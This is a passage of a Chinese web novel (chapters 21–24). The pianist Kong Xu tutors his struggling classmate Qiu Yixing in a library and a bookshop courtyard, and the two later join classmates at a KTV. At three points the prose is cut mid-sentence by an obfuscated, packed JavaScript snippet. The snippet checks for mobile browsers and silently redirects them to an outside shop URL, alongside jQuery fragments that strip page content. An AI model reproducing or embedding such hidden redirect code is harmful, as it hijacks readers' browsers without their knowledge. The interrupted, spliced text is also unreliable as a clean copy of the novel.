“那你可以去校门左转往前三百米的岚江第一小学重修数量关系。”孔栩静静地与邱以星对视,试图找出他在耍花招的证据,“总共就三道,你一题都没写?你有没有去医院做过测试?” “什么测试?” “韦氏智力量表。”孔栩单薄的嘴唇毫不留情地说,“测测你的智力是否低于70。” 邱以星沉默了好几秒,食指不自在地在草稿本上蹭了两下:“我没做过……真的需要去吗?” 孔栩没辙了,邱以星不按常理出牌,他好像一拳打在了棉花上。 他将手从琴键上拿下来,拖着琴凳往邱以星身边坐下,微不可闻地叹了口气:“哪里不会?我教你。” 关系没有破裂,反倒更进一步,完全出乎邱以星的意料。 后来他才知道,这完全是个错觉。 21. 第 21 章 孔栩连续三天在琴房辅导邱以星学习,三天后,孔栩终于忍无可忍地一拍桌子:“邱以星,你别闹了行吗?” 邱以星无辜极了:“我没闹。” “你没有?”孔栩气得面红耳赤,“你不会的地方是不是太多了,女娲都补不了你空空如也的大脑!” 邱以星已经很努力地消化知识点,饶是如此,也很难跟上一中老师讲课的进度与同班同学进步的速度。 差距太大,不是他一朝一夕能弥补的,纵使晚上回家还会花时间听网课,但收效甚微,令邱以星挫败无比,没想到被孔栩又埋怨一通,他也有些置气:“那别补了,反正我烂泥扶不上墙,没救了。” 孔栩被他的一噎,攥紧拳头:“你以为我是闲的,特别想辅导你是不是?” 邱以星破罐子破摔:“我知道,你日理万机大忙人,白天学习晚上练琴,好不容易挤出一点时间分我,我竟然一点也不感恩戴德,体恤你的辛苦,我真是罪该万死。笨到你了,对不起!” 孔栩的呼吸急促起来,气得脑子一阵阵地发麻。 他想就此一走了之,跟柴晓驰坦言自己干不了,教蠢人可以,教装蠢的人他实在没有那个本事。 两人在琴房里僵持,互不搭理。 忽然孔栩把自己书包往地上一丢,盘腿坐在地上,闷不吭声趴着琴凳开始写自己的作业。 看谁能熬!我当着你面写题!我课内外的作业两手抓,急不死你! 孔栩很快进入心流状态,越写越忘我,邱以星支起下巴,看孔栩低垂着脸,他写题甚至不需要草稿纸,在题目旁边画几个旁人看不懂的符号,刷刷两下就得出答案,像是在表演魔法。 一个小时不到,孔栩啪嗒一声盖上笔盖,全部完成。 他两条腿盘麻了,起来时腿一下脱力,往前一个趔趄,差点栽倒,一条胳膊横插过来,揽住他的腰,邱以星低声说:“你没事吧?” 孔栩急忙抬眼,面露震惊:“你怎么还没走?” 邱以星:“……我想跟你一起。” “你写多少了?”孔栩随手拿过邱以星桌上的习题簿,竟然一题都没写完,“你晚上不会还打算给闻旋发消息,让她给你传作业抄吧?” 邱以星讶异:“你怎么知道?” 孔栩冷笑:“本人无所不知。” 邱以星:“你教我的那几题我白天写完了,这些剩下的不会。” “都不会?” “嗯。” 孔栩想了想,他在此刻决定打持久战,在不耽误自己事的情况下,要跟邱以星死战到底。 “我饿了。”孔栩说。 “那我们回家吧。”邱以星刚要收拾书包,却被孔栩制止:“先去食堂吃饭,还有几分钟食堂就关门了,吃完我再来教你。” 邱以星微微一愣,亦步亦趋跟着孔栩去食堂,路上邱以星叫了一下孔栩的名字。 “嗯?”孔栩看他。 “我刚刚不应该冲你喊,”邱以星神情低落,“我确实很笨,我知道教我这种人很累。” 孔栩没说话,邱以星继续说:“我小时候成绩就差,回回垫底,每次考试都像是历劫,老师最大的乐趣就是数落我,词儿都不带重样的。能考上一中是我做梦都没想过的事,太可怕了,周围的人都特别擅长学习,会举一反三,脑子里好像有个神秘装置,一按就轻轻松松把知识点研磨成碎渣,消化成身体的一部分,我不行。” “别搞得好像其他人都是天才,天才在我们学校的占比不足千分之一,”孔栩扯了扯嘴角,“我也不是。再说,你能考进来不管是实力还是运气,总归占一样,不然你让那些没考上的人怎去哪儿评理去?” 邱以星:“可我——” 孔栩不耐烦:“别可可可了行不行?我最烦别人说自己做不到,你但凡试试呢?” 邱以星:“试什么?” 孔栩:“别抄作业,自己写,不会写的去请教别人,死缠烂打,死皮赖脸,这不是你最擅长的事吗?” 邱以星面色发红,声音低低的:“我哪儿死皮赖脸了?” “总而言之,你得明白你的目的是什么。放下你没用的自尊心,被数落了又怎样,至少要过掉这个坎,如果这个坎过不去,你一辈子就要跟它死磕,直到你过去为止。”孔栩率先一步,推开食堂透明的软门帘,快步走到一个窗口前,笑眯眯地跟里面的阿姨打招呼,“阿姨,我要一份青椒肉丝盖浇面,多撒香菜,谢谢。” 孔栩回头又对邱以星说:“更何况我从来不觉得你笨。” 邱以星心神一震,盯着孔栩的侧脸久久不语。 孔栩其实在内心腹诽:你岂止是不笨,简直是狡诈,装差生装得出神入化,演艺界欠你一座奥斯卡。 那天后,邱以星在学习上稍微开了一点窍。至少会自己写作业,虽然能错一多半,但遇到会的题令他信心倍增,不会写的也按照孔栩所说,死缠烂打地找人请教。 这不过请教的对象是孔栩本人,孔栩不胜其烦,却不能表露出来,他不想显得自己那么小气。 九月份后是国庆七天小长假,孔栩破天荒地休息了一天,他的休息跟正常人的有些出入——去图书馆。暑假借的书也到了归还的日子,他便趁着假期去图书馆还书,顺便借几本回来。 他跟何斯清的关系也恢复到之前,只要对裂痕视而不见,就能和平相处。 孔栩还过书,经过二楼巨大的落地玻璃窗,窗边整齐地摆放着一排大方桌,节假日来图书馆的人更多,大好的阳光洒满方桌,有人低头看书,有人用平板或者笔记本工作,还有人耳朵上挂个耳机,头仰在椅背上晒太阳,闭目吸收图书馆智慧的精华。 当然,更多的是学生,以大学生和高中生为主,孔栩脚步放轻,走着走着停下脚步,他看到一个人。 这人愁眉紧锁,咬着笔头,抓耳挠腮,形似未化形的妖精,大片阳光落在他的头与肩膀,照得浓长睫毛铺一层蜜糖般灿然的金光。 孔栩在一旁驻足观看,心想,果不其然,表面上考砸,其实偷偷摸摸躲起来用功,为了营造学渣人设真是煞费苦心。 孔栩想到这,便不急着走了。 他在附近找了个空位,翻起刚借的书,翻了两页,心浮气躁地合上,抬头狠狠瞪了邱以星一眼。 邱以星完全没有觉察,正铆足劲和题目纠缠得难舍难分,片刻后,他缓缓打了个哈欠,脑子像钻进一只瞌睡虫,泪眼朦胧地趴在桌上,枕着手臂睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016798|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 孔栩看了半晌,举着书来到邱以星对面,探头看了一眼,他写的是自己给他布置的经典例题,写了一半,剩下一半被他胳膊压住。 见他桌上还有一本便签纸,孔栩小心扯出一张,又拿邱以星的黑笔在便签纸上描摹邱以星的睡姿。 他先画了个横着的圆柱体,又在圆柱体左侧添了个圆形,圆不是太圆,而是一个椭圆。认真仔细涂抹半天,最后画出来一张“四不像”,如果想象丰富,大致能看出是个人形。最后他在椭圆形的旁边描绘出一个说话框,框里写:吾乃岚江第一睡神也。 孔栩拿起便利贴,对准邱以星的脑门轻轻一贴,邱以星的睫毛颤了颤,没醒。 孔栩跟自个儿玩了半天,觉得好没意思,刚站起身要走,邱以星的手指动了一下。 他啪一下又坐回原位,坐在他斜对面的女孩戴着耳机,疑惑地看了他一眼。 孔栩将书展开抬起,遮住自己的脸。 邱以星终于醒了,伸了个长长的懒腰,便签纸粘性不牢,从他额头滑至鼻梁,他伸手将便签摘下来,谁贴他脸上的? 他一脸莫名地看着纸上的图案,实在是没看明白画了个啥,又看了眼字,突然睁大眼睛,扭头环顾四周,只见对面坐了个奇怪的人,高举一本《少年维特之烦恼》,将脸遮挡住。 这欲盖弥彰的行为……邱以星心里一动,认出了这人细而长的手指。 邱以星没想太多,一手撑住桌面,上半身前倾,突然伸手抽走孔栩装模作样拿的那本书—— 孔栩没料到邱以星是这样的反应,略带着坏笑的嘴角没来得及拉下,眼睛里藏着满满的狡黠,显得奇亮无比,光折进他的瞳孔,好似两颗剔透的宝石。 邱以星离孔栩的脸太近,只有一拳的距离,邱以星清晰地望见他薄薄的嘴唇嫣红,小巧的鼻翼微微翕动,呼出的气息极轻地扑在自己的脸上,带着一丝潮湿与温热,随后嗅到孔栩独有的,很淡的,干燥而温暖的木质香气。 孔栩的笑僵在嘴边,刚想先发制人说“你怎么这么不礼貌”,却见邱以星跟踩了尾巴的猫似的,突然退后,手指无意拂到桌面的东西,稀里哗啦地淌了一地。 动静大得将这一片的目光都吸引过来,邱以星很不好意思地连连低声道歉,红着脸蹲下身去捡。 孔栩弯腰帮他捡,小声说:“你能不能注意点儿。” 邱以星抿着嘴,一声不吭,安安静静地收拾东西,轻拿轻放回桌面,然后他刷刷刷给孔栩写了张字条:你什么时候来的? 孔栩:你睡觉之前。 邱以星:你的画也太抽象了,一点也不像我。 孔栩眉头一挑:说得跟你很会画画一样。 邱以星:当然了,我画个你,保证一模一样。 孔栩瞧他信誓旦旦的模样,有些不太确定:真的假的? 邱以星便又抽一张便签纸,低头描描画画,不出一分钟就大功告成,那行云流水的动作,志得意满的神态,把孔栩看得一愣一愣的。 下一秒孔栩看到邱以星的画,纸上画了一个木鱼,还有一根木鱼锤,邱以星不仅给木鱼配了个横眉竖眼的小表情,还配了几个字:怒气值+1。 孔栩:(#`皿′)! 22. 第 22 章 孔栩非要与邱以星一较高下,两人连画了对方十几张丑图,孔栩从里面挑出一张最丑的,硬塞给邱以星,认真道:“喏,送给你,好好珍藏啊!” 邱以星哭笑不得,觉得孔栩真是幼稚得可以,却将丑图平展铺开,放进书包里:“知道了。” 一整个上午都跟邱以星厮混过去,孔栩的书就看了一页,邱以星的题也只写了一半,孔栩内心大呼罪过,怎么跟邱以星一块玩时间过得这么快? 简直是谋杀他时间的凶手! 邱以星不知道孔栩心里想什么,更看不懂他变幻莫测的神色。 孔栩的时间观念是何斯清灌输给他的,一天二十四小时,首要的是练琴,其次是学习,吃喝拉撒都要排在后面,如果还有剩余,可以玩。 玩要看怎么玩,游览祖国大好河山,感受人文之美是正正经经的玩;或者在楼下散散步,跟人打一会儿羽毛球,自己做做运动,是有益于青少年身心发展的健康的玩;去电玩城、KTV以及打电脑游戏在何斯清眼里都是“瞎胡闹”。 他从没瞎胡闹过,也不敢,倒不是畏惧何斯清,而是太过珍惜时间,不敢有一丝一毫的浪费。 孔栩脸上的笑意明显变淡了。 他想,今天还没练琴,有画邱以星丑图的功夫,他已经练完哈农和琶音,再练八度弹弹李斯特的《钟》。 上次聚餐,易姝心跟他聊了很久,问他愿不愿意去美国,茱莉亚音乐学院有Pre-College的项目,她可以帮忙写推荐信。 何斯清一听,喜上眉梢,情不自禁用力握了握孔栩的手指,孔栩却说自己还没准备好,推脱了,易姝心便说以后他要是准备好,随时联系她。 这件事虽然告一段落,但在何斯清心里并没有过去,她开始畅想孔栩的大好未来,并时不时旁敲侧击孔栩在担心什么,如果是学费,她完全能够负担得起。她目前不能辞职放弃工作陪他去国外,不过易姝心是一位值得信赖的老师,她那边有认识的人,即使他远在美国也能够得到很好的照料。 孔栩说:“我要是不在家,你不就一个人了吗?” 何斯清乍听这话,突然间语塞,没想出回应的句子。 “在国内有什么不好?又不是去了茱莉亚就一定能成为多厉害的演奏家,我一外国人说不定还会被美国学生霸凌,”孔栩淡淡地说,“音乐没学好,心理又出问题。” 何斯清这才打消念头,不再提了。 孔栩想,他应该回家练琴,而不是把时间继续浪费在毫无意义的人身上。 这时邱以星忽然低声对他说:“我还有学习任务没完成,就不跟你说话了。” “哈?”孔栩不可思议微微瞪圆眼睛,他心说,我还没嫌弃你,你倒先觉得我话多! 邱以星瞅见孔栩嘴角抽了抽,忙说:“呃,我的意思是说,你肯定还有别的重要的事情忙吧。” 潜台词是让他赶快走,别碍事呢! 孔栩气咻咻二话没说拎起包起身就走,走到阅览区外的扶梯位置,听到脚步声追过来,邱以星拉住孔栩的手腕,孔栩回头怒视他:“干什么?!” “你的书忘带了。”邱以星把书交给孔栩,轻声说,“你真的——” “我怎么了?” “真的很容易生气,”邱以星声音低低的,“像个小炸弹,一点就着,我还什么都没说呢,你就要走。” 孔栩忍无可忍邱以星对他的指控,邱以星赶在他前面说:“你总是把我想得很坏。” 这话没冤枉孔栩,被戳破的孔栩有一点难堪,嘴还是硬的:“你是我肚子里的蛔虫吗?别污蔑我。” 邱以星跟他保持着一点距离,眉眼间显得低落,不跟孔栩争辩,说:“嗯。” “你‘嗯’什么?有什么可‘嗯’的?”孔栩说,“别装这种委委屈屈的样子,好像我欺负你。” 邱以星笑了一下:“我只是有些感慨,因为我的确不是什么多好的人,但我对你真的没有坏心。你是因为我上次没去你的演奏会生气,对吗?那天因为我朋友的奶奶摔倒,我们一起送她去医院,太迟了,我赶到的时候你已经离开了。我一直很后悔,如果那天我直接去找你就好了,我在梦里都想听你弹肖邦。” 这话把孔栩的脸说热了,孔栩紧紧绷着脸,不太信:“你还是梦点儿跟学习有关的东西吧,别下回考试又垫底。” “梦什么又不是我自己能控制的。”邱以星说,“你不想我垫底的话,能不能再陪我一会儿。” “为什么?” “我一个人学没过一会儿就困了,你在我旁边,我就不会想睡觉。”邱以星实话实说,恳求道,“陪我一会儿?中午请你吃饭。” 孔栩:“我缺你那顿饭吗?” “那你想要什么,都可以提。” 孔栩眼珠溜溜地一转,思忖片刻,心情顿时美起来:“没想好,先欠着吧。” 邱以星点头答应,孔栩又说:“写个欠条,免得你赖账。” 于是他俩头对着头,邱以星像模像样地在纸上写: 本人邱以星(身份证号XXXX……)答应孔栩(身份证号XXXX……)一件事(不触碰法律底线,不违背公序良俗)。有效期:邱以星有生之年。 邱以星在右下角写了落款和日期,又问孔栩:“这总可以了?” 孔栩捏着纸条,并不满意,觉得缺了点什么,于是从邱以星笔袋里抽出一支红笔,抓过邱以星的手指,对准大拇指的螺纹反复涂抹,邱以星痒得不行,孔栩霸道地把他胳膊往怀里一压,不给他动:“马上就好了!” 然后他捏着邱以星的大拇指,往纸上落款的地方一盖,一个淡红的指纹印便落了下来。 “嗯,”孔栩满意地扔开邱以星的手,拿起欠条迎着光线看了看,“这样才对。” 邱以星大拇指与食指贴合至一起,轻轻蹭了两下,仿佛还能感受到孔栩指尖的余温。 “你想什么呢?”孔栩忽然一撞他胳膊。 邱以星猛地回神,心虚地问:“啊?你说什么?” “我说图书馆不太适合讨论学习,影响别人。”孔栩说,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016799|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带你去个好地方。” 邱以星便收拾东西,没有丝毫犹豫地跟过去:“哪儿啊?” 孔栩口中的“好地方”是学校对面的旧书店。 旧书店的老板是个五十多岁的大叔,一年到头除了过年那几天,其余时间不管节假日还是刮台风下暴雨,从来不打烊。 营业时间雷打不动从早上七点到晚上十点,贩卖各种盗版书、中小学生辅导资料以及时令水果与饮料,经营范围很广,隔壁文具店也属于老板的产业链之一,搞得附近卖水果的、开小超市的、卖奶茶的,对他意见很大。 “老板,拿两瓶香蕉牛奶。”孔栩对正躺在躺椅上晒太阳的光头男人说,“太阳这么大,不怕晒化了。” “我又不是妖魔鬼怪,怕什么光啊。”男人长得一脸凶相,声音听起来倒是挺和蔼,他在躺椅上没动,掀开眼皮望着孔栩,“今天不是放假吗?什么风把你这个大忙人吹过来了?” 孔栩耸耸肩膀,他像是与老板关系不错的样子,无奈地说:“学习呗。” 老板又看了眼孔栩身后的邱以星,这下显得有些好奇了:“这是你朋友?” 孔栩不耐烦:“跟你有什么关系,管得真宽。快起来结账。” 老板乐呵呵地说:“请你们喝,自己拿。算是恭喜你这个独行侠终于结交到一个朋友。” 孔栩:“你真大方,以后我天天带新朋友来。” “那我天天请你喝,”老板自得其乐地在躺椅上晃悠,“反正喝不穷我。” 孔栩不跟他啰嗦,径自从展示柜里拿出两瓶香蕉牛奶,拽着邱以星七拐八磨穿过两个高大的书架,推开一扇古旧的木门,来到书店后方露天的院子。 院子面积不大,整理得井井有条,半墙的爬山虎红得艳丽,另外半墙是三角梅的天下,花开得如火如荼,映得人脸几乎都要染上颜色。院子另一边还有一个大水缸,水缸里悠然飘着几朵粉盈盈的睡莲,花瓣娇小,灵动可爱。 “不错吧?”孔栩对邱以星扬了扬下巴。 邱以星点点头:“嗯,很安静,光线也明亮。” 他嘴唇动了动,孔栩等着他追问自己怎么知道这里的,邱以星说:“你还要带哪个新朋友来?” 孔栩:“……” 邱以星说:“你也要请他喝香蕉牛奶吗?” 这都是什么鬼问题? 孔栩装没听见,搬来一张低矮的小方桌,指使邱以星去拿两个小板凳,邱以星一声不吭地放下凳子,没有坐下。 “你还愣着干什么呢?”孔栩说,“时间紧任务重,快点儿的。” 邱以星脑子乱糟糟,说不上来的烦,坐下后孔栩给他讲题,他也没听到脑子里,孔栩见他走神,直接一巴掌呼上他脑门:“你在想什么这么认真?” “孔栩,”邱以星揉着泛红的额头说,“我感觉不是很舒服。” 孔栩以为自己把邱以星打坏了,凑上来问:“没事吧?” “唉,”邱以星叹气,语气里充满了惆怅,“你交新朋友之后不会不管我了吧?” 23. 第 23 章 邱以星一定是有什么毛病,孔栩想,嘴上他却说:“看你表现喽。” 孔栩想的是他别再扮演学渣,下次考试考得稍微像点话,邱以星却理解为另一种意思,邱以星认真地看了一眼孔栩,点头说:“我知道了。” 中午两人没回家,旧书店老板热情地留他们吃午饭,吃完后就在小院里一直呆到日近西山。 夕阳余晖洒了两人一身,孔栩靠着墙正打盹,三角梅的花枝斜斜地倚在他肩头,一阵清风拂来,吹开他额前几缕碎发,露出光洁白皙的额头。 邱以星写完最后一道大题,抬起头便望见一片花瓣颤悠悠地轻盈地落在孔栩的眉心,仿佛连花也格外偏爱他似的,不忍惊动他的睡眠,只无声地簌簌落下,不出片刻,孔栩怀里坠了一大片鲜艳欲滴的花瓣,仿若花中酣睡的精灵。 邱以星再度看呆了眼。 孔栩醒来时天已经擦黑,恼怒地问邱以星为什么不叫他,邱以星挠了挠鼻尖,不动声色移开自己的目光,说:“看你睡得太香,没忍心叫你。” “因为教你太耗费心神,我是睡着了吗?我是气得昏过去了。”孔栩一边狡辩,一边捧着怀里的花瓣,往两步之外装枯叶的垃圾篓里扔。 邱以星忽然叫住孔栩,拈起一片花瓣,轻轻握在掌中。 孔栩疑惑地看他一眼,问道:“干什么?” 邱以星解释说:“漂亮。” 孔栩无语:“无聊。” 他心说,你有这个闲情逸致欣赏落花,不如抓紧时间好好补补自己的基础。 孔栩辅导邱以星多日,突然间生出“他不是装的,是单纯不会”的念头。装是不可能装这么像的,也不是多差,只是基础非常薄弱,初三到目前为止的知识一片空白,像是被白蚁蛀蚀的大厦,眼看着高大巍峨,其实内里一片废墟。 为什么会这样呢?孔栩甚至觉得邱以星已经非常努力,可短时间内收效甚微,他问过邱以星,邱以星用“我小时候比同龄人晚入学一年”搪塞过去了,孔栩还是不能理解,直白地说:“可你不像是晚一年,像是没上过学。” 邱以星这才慢吞吞地说:“我是转学过来的,我小时候一直跟奶奶住在乡下,没念过幼儿园,我有个……哥哥,我哥他是个聪明的小孩,读书很厉害,我们年纪相差很小,我爸妈把我接过来后,觉得一个年级更方便接送,于是把我塞到了我哥班里,那时候我连拼音都不会。” “然后呢?”孔栩说,“既然你哥哥成绩好,为什么不去请教他呢?” 邱以星苦笑:“我哥他不是很喜欢我,也不可能教我的。” 孔栩“哦”了一声了解了:“那你哥真自私。” 邱以星轻声说:“……我哥已经不在世了。” 孔栩一惊,差点咬到自己舌头。 他跟邱以星讲话一直没轻没重的,一来是邱以星知道他什么德行,没必要在他面前装什么良好的教养,二来是他对邱以星本来就偏见重重,不愿意说话还要顾忌他的心情想法,总直来直去的。 这时他为自己口无遮拦感到一丝后悔:“啊,对不……” “没关系,”邱以星说,“又不是你害死他的,有什么好对不起的。” 孔栩:“……” 了解到邱以星的深层问题后,孔栩对他多了几分恻隐之心,虽内心仍旧疑惑重重,又觉得邱以星不会用家人来开玩笑,不然他还能算是个人么。 走时两人跟光头老板打了个招呼,一道坐公交车回家。 孔栩回家第一件事便是找自己小学和初中的学习笔记,何斯清见他在房间里翻箱倒柜,忙得热火朝天,半天不见弹琴的动静,走过去敲了敲他的房门,有些严厉地说:“今天一天上哪儿玩去了,怎么到现在才回来?抓紧时间练琴了。” “等会儿,我找个东西。”孔栩从床底下拖出来两个大箱子,找到了自己之前用的教材与笔记本,装箱子里保存得很好,干干净净的。 孔栩把需要的东西拿出来,重新把箱子推回去时,看见里面还封存着一个小竹笛。 原本青绿色的竹笛已经褪色泛黄,好似深秋草木凋零后的枯竹。 孔栩不再看竹笛一眼,将箱子拿胶带封上,推回了床底。 隔天邱以星便收到了孔栩的“学习大礼包”,从小学到初中,一应俱全,按照孔栩的说法:白痴都能速通九年义务教育。 孔栩把自己的假期作业也一并带到了小院里:“你自己看,我写的内容应该比较好懂,你现在不懂的是因为之前学的不扎实,你可以想象把所有的知识点拼成一块大拼图,但你有很多知识点是空缺的,导致你的拼图不完整,我可以保证我的笔记补全你的拼图绰绰有余,前提是——”孔栩警告性地看了邱以星一眼,“不准再烧掉我的笔记本。” 邱以星翻阅其中一本笔记,看着上面工工整整的字迹,郑重地对他说:“谢谢。” 孔栩不在意地摆摆手,老气横秋地说:“谢就免了,好好学习吧,你孔老师还想多活几年呢。” 邱以星低头笑笑,暗中咂摸孔栩给自己自封的“孔老师”三个字,很顺孔栩的意,语调低沉地喊他:“孔老师。” 孔栩一直有点声控,对声音格外敏感,可能跟他自小学音乐有关。 邱以星的声音无疑是好听的,不然他也不会一开始容忍邱以星那么多废话,此刻邱以星刻意压低声音,跟平时爽朗清透的少年音不同,带着一点沙哑和某种类似于逗弄的性质。 他感到一阵毛糙的异样,手背上起了一层鸡皮疙瘩,捂着耳朵叫起来:“别往我耳朵眼里吹气!” 邱以星见他拒之千里的模样,正了正神色,说:“好了,不玩了。” 随后两人趴在小方桌上写作业,一连几天都是如此,邱以星有不太懂的地方会圈个小圈,等孔栩写完了再问他。孔栩也稍微有了点耐心,正如柴晓驰所说,教与学是互相促进的,在教邱以星的过程中,也让他不断温习旧知,有些不太清晰的概念在重述的过程中变得越发清晰起来。 还有……邱以星好像真没有记忆中那么讨厌了。 休息的时候邱以星出去了一趟,孔栩埋头整理错题,没注意邱以星是什么时候回来的。听见邱以星喊他的名字,他懒得抬头,鼻腔里哼出一个“嗯?”的音:“干嘛?” 邱以星简短地说:“手。” 孔栩仍旧不抬头,递给他一只左手,邱以星牵着他的手塞进自己卫衣口袋。 邱以星每天换不同颜色的卫衣,衣服前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016800|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面有个很大的口袋,书店老板经常给他们投喂小零食水果什么的,虽然其中大多进了孔栩的嘴巴,孔栩吃不完就直接塞邱以星的大口袋,并拍了拍,戏言说:“我的零食袋。” “吃这么多不怕长胖吗?”邱以星说,“成天坐着也不运动。” 孔栩辩解:“我动脑筋啊,而且弹琴也是一种体力劳动,可累了,需要好好补补。” 邱以星笑:“是是是,你身体和脑子都要好好补补。” 孔栩瞪他:“你什么意思,讽刺我呢?” 邱以星连忙摇头:“我可没有!” “这是什么?”孔栩摸到一个冰凉光滑的塑料袋,哗啦啦地响,又摸到一颗圆圆的球形物体,像是糖,他这才抬头,眼睛亮亮的,“你去小超市了?” “给你的‘零食袋’进货去了。”邱以星说,“嘘,小点声,别让老板听见,不然他又要唠叨我们吃里扒外。” “真上道啊邱以星,”孔栩乐滋滋地用力拍拍他的肩膀,另一手继续在他的口袋里“寻宝”,竟然都是自己爱吃的,“不错,这么快就摸清楚我的喜好,真是孺子可教也。” 邱以星顿了顿,然后试探性地说:“我的表现还不错吧?” 孔栩往嘴里塞了一块巧克力曲奇,想也没想地答道:“岂止是还不错,简直是非常相当特别不错!孔老师很满意!” 邱以星得到了称心的回答,心情也变得跟孔栩的一样明媚。 孔栩眯起眼睛,幸福又有些遗憾地说:“可惜明天上学就不能随便往你兜里拿吃的了。” 邱以星刚要说什么,他放在一边的手机震动起来,是闻旋的来电。 孔栩瞥见人名,皱起眉:“班长给你打电话干什么?不会要给你作业抄吧。” “不可能,我早就不抄别人作业了。”为了证明自己的清白,邱以星当着孔栩的面接起电话,打开公放,“喂,班长,有什么事吗?” 闻旋在对面问:“邱以星,下午好啊,今天放假最后一天,作业写完了没?” 孔栩听到她的话,眉头拧得更紧,心说班长你可千万别好心坏我的事,邱以星这成绩再抄作业就真废了。 邱以星立即回答:“我早就写完了。” “那就行!他们让我叫你出来玩,班里好多人都在,下半年就没假期了,都想趁着最后一天假好好疯一把,我们等会儿去唱歌,在麦浪KTV。” 闻旋那边似乎传来一阵欢呼,听起来热闹极了,她带着一丝不太确定的意味,又说:“你会来的吧?看在我给你抄过那么多次作业的面上。” 孔栩忍不住说:“班长,你这是邀请还是威胁啊?再说了,周末还有两天假呢,蚊子肉也是肉,你不能——” “小木鱼?”闻旋惊讶,打断他的话,“你和邱以星在一起吗?” 没等孔栩说话,闻旋急不可耐地催促:“正好,你和邱以星一起来,还愁着怎么联系你人呢,快点啊,就等你们了。”然后便挂了电话。 孔栩一头雾水,看向邱以星:“我应该没有答应吧。” 邱以星说:“你去吗?你不去我也不去。” 孔栩犹豫了一会儿,然后有些不好意思地说:“去吧,我还从没去过KTV呢。” 24. 第 24 章 邱以星在地图APP上找到麦浪KTV的详细地址,带着孔栩一块打车过去。 他俩都没来过这,发现KTV在一栋商场的顶楼,邱以星抬头望着这座高耸入云的大楼,对孔栩说:“其实我也没去过KTV。” 孔栩觉得邱以星是顾及自己的面子才这么说,他才不相信邱以星没去过,他一个搞乐队的,听说还给乐队写了不少歌,怎么可能没去过? 孔栩撇嘴:“你哄小孩儿呢。” 邱以星又说:“那我给你讲个真的,我害怕坐电梯。” 他们两人正在商场一楼等电梯,孔栩满脸都是“你在逗我”,他说:“你有呃,那叫什么来着,特别时髦的幽闭恐惧症啊?” “没有。” “那为什么?” “之前我不是跟你说过,我小时候一直生活在乡下,从没离开过那里。”邱以星对他说,“也没有坐过电梯,完全看不懂里面的按键与标识。我被接回来后,有天我家里人带着我一块出门,他们走得比较快,先走了出去,我磨磨蹭蹭的落在最后,然后电梯门就合上了。” 孔栩设想了当时的场景:“然后呢?” 邱以星露出一个笑,像在嘲笑幼年时期那样惊慌失措的自己:“我一个人被关在了电梯里,太可怕了,我不知道电梯会把我带到哪里去,以为他们又不要我了,故意把我丢在这里,后来我每次坐电梯都会想起那天发生的事,听起来挺蠢的是不是?” 他们终于等来电梯,只有他们两人进去,电梯门合上,光滑如镜面的壁面映出两人清晰的面孔。 孔栩毫无预兆地牵住了邱以星的手指,轻轻晃了一下:“这个时候就不要强颜欢笑了,没什么好笑的,你没有经历过,慌张是很正常的事,不能用愚蠢来形容,这世上绝大多数人面对没经历过的事都会忐忑紧张,你不要太为难小时候的自己了。” 单纯的安慰罢了,邱以星明白,虽然孔栩有时候得理不饶人,但是个心地善良的人,他压抑住自己情不自禁往外冒的荒唐念头,尽量放空大脑,不去想孔栩的手指正牢牢牵着自己。 “以后再坐电梯,不要想那天发生的事了,想我吧。”孔栩带着点力度捏了捏他的手指,看向他的眼睛,“你想着曾经我们一起去KTV和大家唱歌,心情很愉快,用好的记忆覆盖掉不愉快的记忆,人一生这么短暂,还是要活在快乐的记忆里。” 邱以星感到心头剧烈一震,脑子变得乱糟糟,无法思考别的事。 电梯打开,孔栩便松开他的手,按照指示牌的方向走去,邱以星抬起孔栩握过的手,呆呆地看着,站在原地许久没动,孔栩扭头朝他招手:“我看见班长了,过来啊。” “来了。”邱以星应了一声,大步跟过来。 这是一间不大的包厢,光线暗沉沉的,里面起码有八九位跟他们差不多岁数的男孩和女孩,有些孔栩认识,是他班里的同学,有些不认识,是同学带来的朋友。 闻旋挤到孔栩旁边,激动地说:“我的妈呀,我还以为你不会来,刚刚我和小敏还在说你,她说你以前可高冷了,从来不去任何集体性的聚会。” “哪有那么夸张。”孔栩脸上是淡淡的笑意,沙发很软,他一下就陷了进去,有人已经点过歌,开始唱,唱得五音不全,格外难听,齐大彬一屁股将人顶了出去,切了自己的歌,深情款款地开始唱。 “北方的村庄住着一个南方的姑娘,她总是喜欢穿着带花的裙子站在路旁……” 众人被他的歌声吸引,集体“哇”了一声。 孔栩望了望四周,觉得很新奇。 